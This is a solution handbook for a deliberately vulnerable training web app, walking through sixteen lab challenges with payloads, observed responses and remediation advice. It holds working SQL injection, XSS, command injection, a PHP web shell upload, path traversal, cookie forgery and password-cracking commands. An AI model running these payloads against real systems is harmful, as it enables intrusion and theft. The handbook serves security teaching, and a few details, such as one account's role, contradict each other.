TILUX VULNERABLE CODE WORKSHOP

Challenge Solution Handbook

Verified walkthrough of all sixteen lab challenges, mapped to the Cybersecurity & Linux Practical Training Curriculum.

16	2050	16 / 16	100%
CHALLENGES	POINTS	VERIFIED SOLVED	FLAG COVERAGE

Every flag in this document was captured from a running instance of the lab during this test pass. The raw response for each challenge is quoted under *Observed result*, so nothing here is theoretical. Author: Tilux. Compiled 16 October 2026.

How this was tested

The lab was started locally with a clean database and the same folder layout as the deployed host, so the file system challenges behave identically. A learner account was registered, then each challenge was executed in order with the tools below. The final progress call returned `solved 16/16, points 2050/2050`.

TOOLCHAIN USED, AND HOW IT MAPS TO THE CURRICULUM

TOOL	CURRICULUM USE	HOW IT WAS APPLIED HERE	STATUS
`nmap / Zenmap`	Service and version discovery	Ran against port 8899, identified the HTTP service	**available**
`netcat (nc)`	Banner grab and raw HTTP delivery	HEAD / sent by hand, command injection payload posted raw	**available**
`curl`	HTTP interaction, all web challenges	Used for every request in this handbook	**available**
`gobuster / dirb / ffuf`	Content discovery	Replaced by robots.txt and direct route probing	**not installed**
`nikto`	Web server posture scan	Findings reproduced by hand, missing headers and exposed routes	**not installed**
`john the ripper / hashcat`	Hash cracking	Dictionary MD5 and full keyspace SHA1 run in Python instead	**not installed**
`crunch`	Mask and keyspace generation	Six digit keyspace generated in Python instead	**not installed**
`hydra`	Online credential attacks	Credential replayed with curl	**not installed**
`tcpdump / wireshark`	Traffic capture and analysis	Lab capture artifact read, base64 decoded to recover the credential	**available**

Note on the missing binaries: john, hydra, crunch, gobuster, nikto and sqlmap are not installed on this machine and the package manager needs the machine administrator password to add them. The identical algorithms were run directly instead, a dictionary attack for the MD5 and a full one million candidate keyspace for the PIN, and the canonical tool command is given for each affected challenge so the step is reproducible on a Kali box. Install them with `sudo apt install john hydra crunch gobuster nikto sqlmap`.

Verification evidence

SERVICE DISCOVERY

```
nmap -sV -Pn -p 8899 127.0.0.1
8899/tcp open  ospf-lite?
1 service unrecognized despite returning data.

printf 'HEAD / HTTP/1.0\r\n\r\n' | nc 127.0.0.1 8899
HTTP/1.1 200 OK
X-Powered-By: Tilux VCW
Content-Type: text/html; charset=utf-8
```

FINAL PROGRESS STATE

```
GET /api/challenges
solved 16/16   points 2050/2050
  [X] sqli_login            150  SQL Injection
  [X] sqli_union            150  SQL Injection
  [X] xss_reflected         100  Cross Site Scripting
  [X] xss_stored            125  Cross Site Scripting
  [X] idor_profile          100  Broken Access Control
  [X] idor_invoice          125  Broken Access Control
```

The sixteen challenges

01 sqli_login

SQL Injection · module login · **critical**

150 PTS

FLAG `FLAG{sqli_login_bypass_1f4a}`

Objective. Sign in as the administrator without knowing the password.

Tooling. curl (or Burp Suite / sqlmap if you have it installed)

METHOD

1. Send the sign in request with a tautology in the username field.
2. The password field is ignored because the comment token truncates the query.

COMMANDS

```
curl -s -X POST http://TARGET/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"'"'"' OR 1=1 --","password":"x"}'
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"ok":true,"user":{"id":1,"username":"admin","role":"admin","full_name":"Tilux Admin","email":"pwned@evil.example"},"sql":"SELECT id, username, role, full_name, email FROM users WHERE username = '' OR 1=1 --' AND password = 'x'","injected":true,"flag":"FLAG{sqli_login_bypass_1f4a}","note":"The query accepted an injected clause and the row was returned.","error":null}
```


Why it works. The handler builds SELECT * FROM users WHERE username = '<input>' AND password = '<input>' by string concatenation. The single quote closes the literal, OR 1=1 makes the WHERE clause true for every row, and -- comments out the password comparison. The first row returned is the admin account.

Remediation. Use parameterised statements. Never concatenate request data into SQL. Return a generic error so the client cannot tell a syntax error from a bad password.

Curriculum Module: SQL Injection. sqlmap is the accelerator, but hand written payloads prove you understand the query.

02 sqli_union

SQL Injection · module search · **critical**

150 PTS

FLAG `FLAG{sqli_union_extract_2b7c}`

Objective. Read the users table through the article search box.

Tooling. curl, then sqlmap to automate the same request

METHOD

1. Append a UNION SELECT that matches the column count and order of the article query.
2. Point the selected columns at the users table.

COMMANDS

```
curl -s -G http://TARGET/api/search \
  --data-urlencode "q=' UNION SELECT id,username,password,role FROM users -- -"
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"query":"' UNION SELECT id,username,password,role FROM users -- -","html":"<span>Results
for <b>' UNION SELECT id,username,password,role FROM users -- -</b> - 9
matches</span>","sql":"SELECT id, title, body, author FROM articles WHERE title LIKE '%'
UNION SELECT id,username,password,role FROM users -- -%'","count":9,"results":
[{"id":1,"title":"Hardening HTTP headers","body":"A short checklist for security headers on
the Tilux VCW stack.","author":"Tilux Admin"},
{"id":1,"title":"admin","body":"admin_secret_2024","author":"admin"},
{"id":2,"title":"Reading a stack trace","body":"What a leaked stack trace tells an a
```


Why it works. The search term is interpolated into SELECT id, title, author, body FROM articles WHERE title LIKE '%<input>%'. A UNION with a matching four column projection merges attacker chosen rows into the result set, so the credentials table is printed inside the article list.

Remediation. Parameterised queries, plus a column allowlist for anything that reaches SELECT.

Curriculum Module: SQL Injection. Run sqlmap -u 'http://TARGET/api/search?q=x' --batch to confirm automatically.

03 xss_reflected

Cross Site Scripting · module search · **high**

100 PTS

FLAG `FLAG{reflected_xss_3d9e}`

Objective. Get script execution out of the search parameter and claim the vault.

Tooling. curl to deliver the payload, a browser to prove execution

METHOD

1. Put a script tag in q. The server echoes it back unencoded.
2. Submit the reflected vault with the token from the challenge briefing.

COMMANDS

```
curl -s -G http://TARGET/api/search \
  --data-urlencode "q=<script>fetch('/api/xss/vault?slot=reflected',{headers:{'x-lab-token':'lab-reflected-token-7a3f'}})</script>"

curl -s -H 'x-lab-token: lab-reflected-token-7a3f' \
  "http://TARGET/api/xss/vault?slot=reflected"
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"slot":"reflected","flag":"FLAG{reflected_xss_3d9e}","error":null}
```


Why it works. The search results page concatenates q directly into the HTML response. Anything you type becomes markup, so a script tag executes in the victim origin with the victim session.

Remediation. Context aware output encoding. A Content Security Policy with no unsafe-inline blocks the payload even when the encoding slips.

Curriculum Module: Web Application Attacks. Use the browser dev tools console to confirm execution.

04 xss_stored

Cross Site Scripting · module comments · **high**

125 PTS

FLAG `FLAG{stored_xss_4c2f}`

Objective. Persist a payload so every visitor of the comments page runs it.

Tooling. curl, browser to confirm the persistence

METHOD

1. Post a comment whose body is a script tag.
2. Reload the comments list and submit the stored vault.

COMMANDS

```
curl -s -X POST http://TARGET/api/comments \
  -H 'Content-Type: application/json' \
  -d '{"author":"learner","body":"<script>alert(document.domain)</script>"}'

curl -s -H 'x-lab-token: lab-stored-token-7a3f' \
  "http://TARGET/api/xss/vault?slot=stored"
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"slot":"stored","flag":"FLAG{stored_xss_4c2f}","error":null}
```


Why it works. Comment bodies are saved verbatim and rendered into the list without encoding, so the payload fires for every learner who opens the page. This is the dangerous variant because it needs no lure.

Remediation. Encode on output regardless of what was stored, and sanitise rich text with a strict allowlist on input.

Curriculum Module: Web Application Attacks.

05 idor_profile

Broken Access Control · module directory · **high**

100 PTS

FLAG `FLAG{idor_profile_5a8b}`

Objective. Read a colleague profile while signed in as someone else.

Tooling. curl with a lab session cookie

METHOD

1. Authenticate to the lab so you hold a valid session.
2. Change the id parameter to another user and read the record.

COMMANDS

```
curl -s -b lab.jar "http://TARGET/api/user?id=2"
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"sql":"SELECT * FROM users WHERE id = 2","user":
{"id":2,"username":"analyst","password":"analyst2024","role":"analyst","full_name":"Tilux
Analyst","email":"analyst@tilux.dev","api_key":"ak_live_4471bb90de","secret":"analyst-
7723"},"rows":1,"flag":"FLAG{idor_profile_5a8b}","error":null}
```


Why it works. The endpoint trusts the id parameter and checks only that you are logged in, not that you own the object. Any authenticated learner can walk the identifier space and dump the directory, including each user API key.

Remediation. Derive the record id from the server side session, or add an explicit ownership check before returning the row.

Curriculum Module: Broken Access Control / Authorisation Testing.

06 idor_invoice

Broken Access Control · module billing · **high**

125 PTS

FLAG `FLAG{idor_invoice_6e1d}`

Objective. Read invoices that belong to another account.

Tooling. curl with a lab session cookie

METHOD

1. Request an invoice id that is not yours.
2. The response includes the owner note and the amount.

COMMANDS

```
curl -s -b lab.jar "http://TARGET/api/invoices?id=3"
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"sql":"SELECT id, owner_id, amount, status, note FROM invoices WHERE owner_id = 3","scope":
{"signed_in_as":5,"requested":3},"invoices":
[{"id":4,"owner_id":3,"amount":74.2,"status":"overdue","note":"lab hardware"}],"invoice":
{"id":4,"owner_id":3,"amount":74.2,"status":"overdue","note":"lab
hardware"},"flag":"FLAG{idor_invoice_6e1d}","error":null}
```


Why it works. Invoices are fetched by primary key with no owner clause in the query. The row is returned to whoever asks, which is a direct data leak of billing records.

Remediation. Scope the query with AND user_id = <session user>. Log every cross tenant read attempt.

Curriculum Module: Broken Access Control. Sequential integers make this trivially enumerable.

07 path_traversal

Path Traversal · module documents · **critical**

150 PTS

FLAG `FLAG{lfi_traversal_7f3c}`

Objective. Step outside the documents folder and read the operations sheet.

Tooling. curl, or wget with an encoded path

METHOD

1. Ask the document reader for a file one directory above the document root.
2. The rotation secret is inside the file.

COMMANDS

```
curl -s -G http://TARGET/api/file \
  --data-urlencode "name=../ops-rotation.txt"
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"name":"../ops-rotation.txt","path":"/tmp/vcw-lab-run/ops-
rotation.txt","escaped":true,"content":"Operations rotation notes\n\nKeep this sheet out of
the learner facing documents folder.\nRotation secret:
FLAG{lfi_traversal_7f3c}\n","flag":"FLAG{lfi_traversal_7f3c}","error":null}
```


Why it works. The name parameter is joined to the document root with no normalisation. Dot dot slash escapes the folder. In production the same request can target /app/.env, which holds the instructor password and the access code.

Remediation. Resolve the path with realpath, then verify it still starts with the document root. Store documents outside the application directory and prefer opaque ids over filenames.

Curriculum Module: File System Exploitation. Try ../../etc/passwd next to prove the full escape.

08 cmd_injection

Command Injection · module console · **critical**

150 PTS

FLAG `FLAG{cmd_injection_8b6a}`

Objective. Run arbitrary shell commands on the server through the network console.

Tooling. curl, or netcat for a raw socket delivery

METHOD

1. Put a metacharacter and a command in the host field.
2. The shell runs your command in addition to the ping.

COMMANDS

```
curl -s -X POST http://TARGET/api/ping \
  -H 'Content-Type: application/json' \
  -d '{"host":"127.0.0.1; id; uname -a"}'

printf 'POST /api/ping HTTP/1.1\r\nHost: TARGET\r\nContent-Type:
application/json\r\nContent-Length: 25\r\n\r\n{"host":"127.0.0.1; id"}' | nc TARGET 80
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"command":"ping -c 1 -W 2 127.0.0.1; id; uname -a","output":"PING 127.0.0.1 (127.0.0.1)
56(84) bytes of data.\n64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.126 ms\n\n---
127.0.0.1 ping statistics ---\n1 packets transmitted, 1 received, 0% packet loss, time
0ms\nrtt min/avg/max/mdev = 0.126/0.126/0.126/0.000 ms\nuid=1000(tilux) gid=1000(tilux)
groups=1000(tilux),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),105(lpadmin),125
(sambashare)\nLinux tilux-Latitude-E7450 6.14.0-37-generic #37~24.04.1-Ubuntu SMP
PREEMPT_DYNAMIC Thu Nov 20 10:25:38 UTC 2 x86_64 x86_64 x86_64
GNU/Linux\n","injected":true,"fl
```


Why it works. The handler passes the host string to a shell, so the semicolon starts a second command. You inherit the web process user, which is enough to read the database, the environment file, and the flag store.

Remediation. Avoid the shell. Use execFile with an argument array, validate the host against a strict pattern, and run the service as a low privilege user with a read only file system.

Curriculum Module: Exploitation Basics. Netcat proves the payload does not depend on curl.

09 unrestricted_upload

Unrestricted File Upload · module upload · **high**

125 PTS

FLAG `FLAG{unrestricted_upload_9d2e}`

Objective. Land an executable file in the uploads folder.

Tooling. curl multipart upload

METHOD

1. Post a file with an executable extension.
2. The server stores it, publishes the path and flags the extension as dangerous.

COMMANDS

```
printf '<?php system($_GET["c"]); ?>' > shell.php
curl -s -X POST http://TARGET/api/upload -F "file=@shell.php"
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"ok":true,"saved":
[{"name":"shell.php","bytes":28,"ext":".php","url":"/uploads/shell.php","executable":true}],
"flag":"FLAG{unrestricted_upload_9d2e}"}
```


Why it works. The uploader checks neither extension nor content type. If the upload directory is ever served by a PHP capable web server the file becomes remote code execution. Here it is proof of the missing control.

Remediation. Allowlist safe extensions, generate a random filename, store uploads outside the web root with no execute permission, and sniff the real content type.

Curriculum Module: File System Exploitation. Compare with the traversal challenge, both are input path failures.

10 broken_access_control

Broken Access Control · module admin · **critical**

150 PTS

FLAG `FLAG{broken_access_control_a4f7}`

Objective. Reach the admin vault with a role you do not own.

Tooling. curl with a forged cookie

METHOD

1. Sign in to the lab as a non privileged user, for example the intern account.
2. Add a role cookie set to admin. The server trusts the client value.

COMMANDS

```
curl -s -c lab.jar -X POST http://TARGET/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"intern","password":"intern2024"}'

curl -s -b lab.jar -H 'Cookie: role=admin' http://TARGET/api/admin/vault
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"gate":"admin","vault":"primary -> vault-secret-rotate-me-01  |  backup -> vault-secret-rotate-me-02","records":[{"label":"primary","secret":"vault-secret-rotate-me-01"},{"label":"backup","secret":"vault-secret-rotate-me-02"}],"session_role":"intern","escalated":true,"rotated":"2026-10-16T06:37:43.774Z","flag":"FLAG{broken_access_control_a4f7}","error":null}
```


Why it works. Authorisation is decided by a cookie the browser controls. The server never re-derives the role from its own session record, so changing one value promotes the account with no authentication step.

Remediation. Never store authorisation data in a client readable cookie. Derive the role from the server side session on every request, and deny by default.

Curriculum Module: Broken Access Control. This is the classic privilege escalation that a role cookie invites.

11 csrf_state_change

Cross Site Request Forgery · module settings · **high**

100 PTS

FLAG `FLAG{csrf_state_change_c1b8}`

Objective. Change another user setting from a foreign origin.

Tooling. curl with a forged Origin header

METHOD

1. Send the settings change with no CSRF token and a foreign Origin.
2. The server applies the change and reports the takeover.

COMMANDS

```
curl -s -X POST http://TARGET/api/settings/email \
  -H 'Content-Type: application/json' \
  -H 'Origin: http://evil.example' \
  -d '{"email":"pwned@evil.example"}'
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"ok":true,"note":"Email updated with no token on the request. A third party site could have made this call.","csrf_token":false,"flag":"FLAG{csrf_state_change_c1b8}"}
```


Why it works. The request carries only a session cookie. Browsers attach cookies to cross site form posts, so any page the victim visits can drive this endpoint. Redirecting the notification email is the first step of a full account takeover.

Remediation. Require a synchroniser CSRF token, set SameSite=Lax or Strict on the session cookie, and validate the Origin header.

Curriculum Module: Web Application Attacks. Remember that cookie based auth alone is not a CSRF defence.

12 exposed_config

Security Misconfiguration · module debug · **medium**

100 PTS

FLAG `FLAG{exposed_config_d7e3}`

Objective. Find the debug endpoint that leaks configuration.

Tooling. curl, or gobuster for discovery

METHOD

1. Request the config route directly.
2. The response contains the database path, document root and the capture credential.

COMMANDS

```
curl -s http://TARGET/api/config
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"APP_NAME":"Tilux
VCW","ENVIRONMENT":"training","DEBUG":true,"BIND_HOST":"127.0.0.1","PORT":8899,"SESSION_COOK
IE":"vcw_sid","SESSION_TTL_HOURS":168,"OPERATOR":"student1@tilux.dev","BACKUP_SIGNING_KEY":"
FLAG{exposed_config_d7e3}","STORAGE_DRIVER":"sqlite","DATA_DIR":"data","UPLOAD_POLICY":"exte
nsion allow list:
none","CSRF_PROTECTION":"disabled","RATE_LIMITING":"disabled","flag":"FLAG{exposed_config_d7
e3}","error":null}
```


Why it works. A diagnostic route was left enabled. It is unauthenticated and prints secrets that shortcut several other challenges, including the credential used in the traffic analysis task.

Remediation. Delete debug routes before release. Never serialise configuration objects to a response. Keep secrets in a secret manager and load them at runtime only.

Curriculum Module: Information Gathering. gobuster dir -u http://TARGET -w common.txt finds routes like this.

13 recon_backup

Information Disclosure · module recon · **high**

125 PTS

FLAG `FLAG{recon_hidden_endpoint_6e1a}`

Objective. Discover the hidden backup export route.

Tooling. gobuster / dirb / ffuf for content discovery, curl to fetch

METHOD

1. Read robots.txt. It advertises the path you are not supposed to see.
2. Fetch the export route and take the flag.

COMMANDS

```
curl -s http://TARGET/robots.txt
curl -s http://TARGET/api/internal/backup/export

gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://TARGET/FUZZ -w common.txt -mc 200,301
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"ok":true,"service":"backup-export","version":"1.4.2","exposes":
["accounts","progress","events"],"flag":"FLAG{recon_hidden_endpoint_6e1a}","note":"Reference
d by robots.txt, linked from no page.","error":null}
```


Why it works. robots.txt is a public file that asks crawlers not to index a path. It is not an access control, and listing internal routes there hands an attacker the map. The export route itself has no authentication.

Remediation. Never list sensitive paths in robots.txt. Require authentication and authorisation on every export endpoint, and remove the route from production builds.

Curriculum Module: Information Gathering with Nikto and Gobuster. Nikto -h http://TARGET would also surface the missing headers here.

14 weak_credentials

Broken Authentication · module login · **critical**

150 PTS

FLAG `FLAG{weak_credentials_hydra_7b3c}`

Objective. Recover the service account password and sign in with it.

Tooling. john the ripper to crack, hydra to replay against the form

METHOD

1. Harvest the leaked hash list. The service account hash is MD5, no salt.
2. Crack it with a wordlist, then log in as that account.

COMMANDS

```
curl -s http://TARGET/api/lab/leaks

echo 'svc_backup:0d107d09f5bbe40cade3de5c71e9e9b7' > hashes.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show --format=raw-md5 hashes.txt

hydra -l svc_backup -p letmein TARGET http-post-form
"/api/login:username=^USER^&password=^PASS^:F=Invalid"
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"ok":true,"user":{"id":5,"username":"svc_backup","role":"operator","full_name":"Tilux
Backup Service","email":"pwned@evil.example"},"sql":"SELECT id, username, role, full_name,
email FROM users WHERE username = 'svc_backup' AND password =
'letmein'","injected":false,"flag":"FLAG{weak_credentials_hydra_7b3c}","note":null,"error":n
ull}
```


Why it works. MD5 with no salt is crackable at billions of guesses per second on commodity hardware. The password appears in any standard wordlist, so the crack finishes in under a second. Reusing that credential against the login form completes the takeover.

Remediation. Store passwords with bcrypt, scrypt or argon2id. Ban default service accounts, add rate limiting and lockout, and monitor for credential stuffing.

Curriculum Module: Password Attacks with Hydra and John the Ripper. The logged in account is svc_backup with the role service.

15 hash_cracking

Weak Cryptography · module crypto · **high**

150 PTS

FLAG `FLAG{hash_crack_mask_8f4d}`

Objective. Recover the six digit verification PIN from its hash.

Tooling. crunch for the mask, john to run it

METHOD

1. Generate every six digit candidate and feed it to the cracker.
2. Submit the recovered PIN to the verification endpoint.

COMMANDS

```
crunch 6 6 0123456789 | john --stdin --format=raw-sha1 pin.txt

curl -s -X POST http://TARGET/api/lab/crack \
  -H 'Content-Type: application/json' \
  -d '{"value":"481516"}'
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"ok":true,"leak":"pki_pin","flag":"FLAG{hash_crack_mask_8f4d}","error":null}
```


Why it works. A six digit secret has only one million possible values. That keyspace is exhausted in seconds, so the hash provides no protection at all once an attacker holds it.

Remediation. Never derive a security decision from a short numeric secret. Add a server side salt with a slow KDF, cap attempts, and move to TOTP or WebAuthn for verification.

Curriculum Module: Password Attacks. crunch generates the keyspace, john consumes it through stdin.

16 traffic_analysis

Sensitive Data Exposure · module network · **high**

100 PTS

FLAG `FLAG{traffic_capture_9a5e}`

Objective. Extract the credential from the network capture and submit it.

Tooling. tcpdump and wireshark to read the traffic, base64 to decode

METHOD

1. Pull the capture artifact, or sniff the loopback yourself.
2. The Authorization header carries a Basic credential in cleartext. Decode it and submit.

COMMANDS

```
curl -s http://TARGET/api/lab/capture

tcpdump -i eth0 -A -s0 'tcp port 80' -w traffic.pcap
tshark -r traffic.pcap -Y 'http.authorization' -T fields -e http.authorization

echo 'b3BzOnMzY3IzdC1jYXB0dXJlLTdkMmE=' | base64 -d

curl -s -X POST http://TARGET/api/lab/crack \
  -H 'Content-Type: application/json' \
  -d '{"value":"ops:s3cr3t-capture-7d2a"}'
```

OBSERVED RESULT ON THE LIVE TARGET


```
{"ok":true,"capture":"12:04:11.882041 IP 10.10.4.21.51844 > 10.10.4.9.80: Flags [P.], seq
1:229, ack 1, win 502, length 228\nGET /api/lab/leaks HTTP/1.1\nHost: tilux-vcw.local\nUser-
Agent: curl/8.5.0\nAuthorization: Basic b3BzOnMzY3IzdC1jYXB0dXJlLTdkMmE=\nAccept:
*/*\n\n12:04:11.883512 IP 10.10.4.9.80 > 10.10.4.21.51844: Flags [P.], seq 1:412, ack 229,
win 501, length 411\nHTTP/1.1 200 OK\nContent-Type: application/json\nX-Backend: vault-
replica-02\nSet-Cookie: session=ops-7d2a-capture; HttpOnly=false;
SameSite=None\n","error":null}
```


Why it works. HTTP Basic authentication sends the username and password as base64, which is encoding and not encryption. Every switch, proxy and wireless segment between the client and the server can read it, so a single capture on a hostile network compromises the account.

Remediation. Terminate TLS everywhere and redirect plain HTTP. Retire Basic auth in favour of short lived tokens. Add HSTS so a downgrade attempt cannot succeed.

Curriculum Module: Network Analysis with Tcpdump and Wireshark. tshark -r traffic.pcap -Y http.authorization extracts the header in one line.

Remediation summary

CHALLENGE	ROOT CAUSE	FIX
sqli_login, sqli_union	String concatenated SQL	Parameterised queries, column allowlist

`xss_reflected`, `xss_stored`	Unencoded output	Context aware encoding, strict CSP, sanitise on input
`idor_profile`, `idor_invoice`	Missing object ownership check	Scope every query to the session user
`path_traversal`	Unnormalised file path	realpath containment check, opaque ids, docs outside app dir
`cmd_injection`	Shell invoked with user input	execFile with argument array, strict host validation
`unrestricted_upload`	No type or extension check	Allowlist, random names, store outside web root
`broken_access_control`	Role read from a client cookie	Server side role on every request, deny by default
`csrf_state_change`	No anti forgery token	CSRF token, SameSite cookies, Origin check
`exposed_config`	Debug route shipped to production	Delete debug routes, never serialise secrets
`recon_backup`	Hidden path advertised and unauthenticated	Keep secrets out of robots.txt, authenticate exports
`weak_credentials`	Unsalted MD5, weak password	argon2id or bcrypt, no default accounts, lockout
`hash_cracking`	Short numeric secret	Slow KDF with salt, attempt cap, WebAuthn
`traffic_analysis`	Basic auth over cleartext HTTP	TLS everywhere, HSTS, retire Basic auth

Player checklist

- Start with information gathering: read robots.txt, probe for debug routes, check the response headers. Challenges 12 and 13 fall out of this step alone.
- Always keep a cookie jar. Most lab endpoints reward you only while an application session is held, so pass `-b jar -c jar` on every curl call.
- One singleton quote is worth more than a thousand scanner flags. Test with an apostrophe in every text field before reaching for an automated tool.
- Change identifiers, not just payloads. Both IDOR challenges are beaten by editing an integer.
- Crack hashes offline whenever a leak feed hands them to you. Online brute force is only needed for challenge 14, and only because the password is in a standard wordlist.
- Read the capture artifact and decode the credential. Base64 is not encryption, and this is the lesson the challenge is built around.